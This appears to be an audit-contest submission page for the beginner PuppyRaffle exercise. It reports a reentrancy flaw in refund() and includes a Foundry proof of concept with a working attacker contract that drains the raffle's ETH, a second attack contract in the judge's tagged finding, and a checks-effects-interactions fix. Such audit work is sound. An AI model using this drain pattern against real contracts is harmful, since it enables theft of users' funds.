Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in refund() allows attacker to drain contract ETH

phylax

Reentrancy in refund() allows attacker to drain contract ETH

Description

  • The refund()function is used when a player that has entered the raffle wants to exit before the draw where the players gets its entranceFeeback.

  • Because the refund() function does not remove the player from the raffle before sending the entranceFeeto the player. This makes it possible for an attacker to reenter the function and drain all ETH in the contract.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@> payable(msg.sender).sendValue(entranceFee); // sends entranceFee before removing player from raffle
​
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • A malicious user can deploy a simple reentrancy attack contract which exploits this vulnerability


Impact:

  • Contract gets drained for all ETH, leaving no prize money for winner or the possibility to get a refund

  • Trust in contract is broken

Proof of Concept

  1. 5 players enters the raffle paying 1 ETH each for the entranceFee

  2. An attacker deploys ReentrantAttackercontract

  3. The malicious contract enters the raffle paying an 1 ETH `entranceFee`

  4. Attacker calls attack()function in the ReentrantAttackercontract which then calls the refund()function in the PuppyRafflecontract

  5. The refund()function sends the entranceFeeback to the ReentrantAttackercontract

  6. When the ReentrantAttackercontract receives the entranceFeeit triggers the receivefunction which reenters the refund()function, which then sends ETH to attacker contract. This will repeat until the PuppyRaffleis drained for all funds.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import {Test} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract AuditTest is Test {
PuppyRaffle raffle;
​
address owner = makeAddr("owner");
address player1 = makeAddr("player1");
address player2 = makeAddr("player2");
address player3 = makeAddr("player3");
address player4 = makeAddr("player4");
address player5 = makeAddr("player5");
​
uint256 entranceFee = 1 ether;
uint256 raffleDuration = 1 days;
​
uint256 initialBalance = 10 ether;
​
function setUp() public {
address[] memory players = new address[](5);
players[0] = player1;
players[1] = player2;
players[2] = player3;
players[3] = player4;
players[4] = player5;
​
for (uint256 i = 0; i < players.length; i++) {
vm.deal(players[i], initialBalance);
}
​
vm.prank(owner);
raffle = new PuppyRaffle(entranceFee, owner, raffleDuration);
}
​
function testReentrancyAttack() public {
// Players enter the raffle
address[] memory players = new address[](5);
players[0] = player1;
players[1] = player2;
players[2] = player3;
players[3] = player4;
players[4] = player5;
​
uint256 totalEntranceFee = entranceFee * players.length;
​
raffle.enterRaffle{value: totalEntranceFee}(players);
​
uint256 raffleBalanceBeforeAttackerEnters = address(raffle).balance;
​
// Attacker deploys the malicious contract
ReentrantAttacker reentrantAttacker = new ReentrantAttacker(address(raffle));
vm.deal(address(reentrantAttacker), initialBalance);
​
uint256 attackerBalanceBeforeAttack = address(reentrantAttacker).balance;
​
// Attacker enters the raffle
address[] memory attackerArray = new address[](1);
attackerArray[0] = address(reentrantAttacker);
raffle.enterRaffle{value: entranceFee}(attackerArray);
​
// Attacker initiates the attack by calling refund
reentrantAttacker.attack(5); // Assuming the attacker is at index 5
​
uint256 attackerBalanceAfterAttack = address(reentrantAttacker).balance;
​
// Check if the contract balance has been drained
assertEq(address(raffle).balance, 0);
​
// Check if the attacker has gained the funds from the raffle
assertEq(
attackerBalanceAfterAttack, attackerBalanceBeforeAttack + raffleBalanceBeforeAttackerEnters + entranceFee
);
}
}
​
contract ReentrantAttacker {
PuppyRaffle raffle;
​
constructor(address _raffle) {
raffle = PuppyRaffle(_raffle);
}
​
function attack(uint256 playerIndex) public payable {
raffle.refund(playerIndex);
}
​
receive() external payable {
// Reenter the refund function to drain the contract
if (address(raffle).balance >= 1 ether) {
raffle.refund(5); // Assuming the attacker is at index 5
}
}
}
​

Recommended Mitigation

Do not send funds before removing the player from playerarray and/or add reentrancyGuard to function

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
- payable(msg.sender).sendValue(entranceFee);
​
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
​
+ payable(msg.sender).sendValue(entranceFee);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!